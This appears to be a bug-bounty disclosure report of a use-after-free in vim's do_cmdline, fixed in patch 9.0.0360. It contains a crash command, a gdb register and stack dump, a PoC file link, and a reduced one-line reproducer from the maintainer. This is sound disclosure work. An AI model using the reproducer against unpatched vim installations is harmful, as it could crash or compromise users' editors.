Use After Free in function do_cmdline in vim/vim

Valid

Reported on

Sep 1st 2022


Description

Use After Free in function do_cmdline at vim/src/ex_docmd.c:1076.

vim version

git log
commit 5d09a401ec393dc930e1104ceb38eab34681de64 (HEAD -> master, tag: v9.0.0343, origin/master, origin/HEAD)

Proof of Concept

./vim -u NONE -i NONE -n -m -X -Z -e -s -S /home/fuzz/test/poc7_huaf.dat -c :qa!
Segmentation fault (core dumped)

gdb log:

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x00005555558102eb in do_cmdline (cmdline=0x6110000002c0 "  mksession! Xtest_mks.out", fgetline=0x555555b36a51 <getsourceline>, cookie=0x7fffffffd0b0, flags=0x7) at ex_docmd.c:1076
1076                   ((wcmd_T *)lines_ga.ga_data)[current_line].lnum-1);

[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x007fffffffcec00x007fffffffcef00x007fffffffd1800x007fffffffd1b00x007fffffffd1e00x007fffffffd2000x007fffffffd5700x007fffffffde70
$rcx   : 0x0               
$rdx   : 0x8               
$rsp   : 0x007fffffffc6000x000007ff7ff0000x0000000000000000
$rbp   : 0x007fffffffcef00x007fffffffd1800x007fffffffd1b00x007fffffffd1e00x007fffffffd2000x007fffffffd5700x007fffffffde700x007fffffffde90
$rsi   : 0x0               
$rdi   : 0x3               
$rip   : 0x005555558102eb  →  <do_cmdline+9057> mov rax, QWORD PTR [rax+0x8]
$r8    : 0x007ffff65a30e00x0000000000000000
$r9    : 0x0               
$r10   : 0x007ffff65a30000x007ffff7fb80000x007ffff77093980x007ffff76a16e0  →  <__sanitizer::ThreadContextBase::OnDead()+0> endbr64 
$r11   : 0x007ffff45911200x0000000000000000
$r12   : 0x000ffffffff8d40x0000000000000000
$r13   : 0x007fffffffc6a00x0000000041b58ab3
$r14   : 0x007fffffffc6a00x0000000041b58ab3
$r15   : 0x007fffffffd2a00x0000000041b58ab3
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007fffffffc600│+0x0000: 0x000007ff7ff0000x0000000000000000    ← $rsp
0x007fffffffc608│+0x0008: 0x007fffffffd0b00x00615000000a800xbebebebefbad2488
0x007fffffffc610│+0x0010: 0x00555555b36a51  →  <getsourceline+0> endbr64 
0x007fffffffc618│+0x0018: 0x006110000002c0"  mksession! Xtest_mks.out"
0x007fffffffc620│+0x0020: 0x007fffffffc6300x0000000000000008
0x007fffffffc628│+0x0028: 0x0000000000000001
0x007fffffffc630│+0x0030: 0x0000000000000008
0x007fffffffc638│+0x0038: 0x0000000000000001
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555558102e1 <do_cmdline+9047> je     0x5555558102eb <do_cmdline+9057>
   0x5555558102e3 <do_cmdline+9049> mov    rdi, rdx
   0x5555558102e6 <do_cmdline+9052> call   0x55555568e0e0 <__asan_report_load8@plt>
 → 0x5555558102eb <do_cmdline+9057> mov    rax, QWORD PTR [rax+0x8]
   0x5555558102ef <do_cmdline+9061> lea    r15, [rax-0x1]
   0x5555558102f3 <do_cmdline+9065> mov    rcx, QWORD PTR [rbp-0x8e8]
   0x5555558102fa <do_cmdline+9072> mov    rax, QWORD PTR [rbp-0x8e0]
   0x555555810301 <do_cmdline+9079> lea    rdx, [rip+0x326749]        # 0x555555b36a51 <getsourceline>
   0x555555810308 <do_cmdline+9086> mov    rsi, rcx
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:ex_docmd.c+1076 ────
   1071             if (breakpoint != NULL)
   1072             {
   1073             *breakpoint = dbg_find_breakpoint(
   1074                    getline_equal(fgetline, cookie, getsourceline),
   1075                                     fname,
               // current_line=0x01076                ((wcmd_T *)lines_ga.ga_data)[current_line].lnum-1);
   1077             *dbg_tick = debug_tick;
   1078             }
   1079         }
   1080         else
   1081         {
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vim", stopped 0x5555558102eb in do_cmdline (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555558102eb → do_cmdline(cmdline=0x6110000002c0 "  mksession! Xtest_mks.out", fgetline=0x555555b36a51 <getsourceline>, cookie=0x7fffffffd0b0, flags=0x7)
[#1] 0x555555b33ab5 → do_source_ext(fname=0x604000000213 "/home/fuzz/test/poc7_huaf.dat", check_other=0x0, is_vimrc=0x0, ret_sid=0x0, eap=0x0, clearvars=0x0)
[#2] 0x555555b34cea → do_source(fname=0x604000000213 "/home/fuzz/test/poc7_huaf.dat", check_other=0x0, is_vimrc=0x0, ret_sid=0x0)
[#3] 0x555555b317a8 → cmd_source(fname=0x604000000213 "/home/fuzz/test/poc7_huaf.dat", eap=0x7fffffffd2f0)
[#4] 0x555555b3180d → ex_source(eap=0x7fffffffd2f0)
[#5] 0x55555581891e → do_one_cmd(cmdlinep=0x7fffffffd650, flags=0xb, cstack=0x7fffffffd770, fgetline=0x0, cookie=0x0)
[#6] 0x55555580fbc1 → do_cmdline(cmdline=0x6040000000d0 "so /home/fuzz/test/poc7_huaf.dat", fgetline=0x0, cookie=0x0, flags=0xb)
[#7] 0x55555580df5b → do_cmdline_cmd(cmd=0x6040000000d0 "so /home/fuzz/test/poc7_huaf.dat")
[#8] 0x555555e0ce82 → exe_commands(parmp=0x555556079fe0 <params>)
[#9] 0x555555e05ff0 → vim_main2()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

poc download url: https://github.com/Janette88/vim/blob/main/poc7_huaf.dat

Impact

Referencing memory after it has been freed can cause a program to crash, use unexpected values, or execute code.

We are processing your report and will contact the vim team within 24 hours. 22 days ago
janette88 modified the report
22 days ago
We have contacted a member of the vim team and are waiting to hear back 21 days ago
Bram Moolenaar validated this vulnerability 21 days ago

It still reproduces with this drastically reduced POC: 111111111111111111111111 for line in ['one'] endfor

janette88 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Bram Moolenaar
21 days ago

Maintainer


Fixed with patch 9.0.0360

Bram Moolenaar confirmed that a fix has been merged on 35d21c 21 days ago
Bram Moolenaar has been awarded the fix bounty
to join this conversation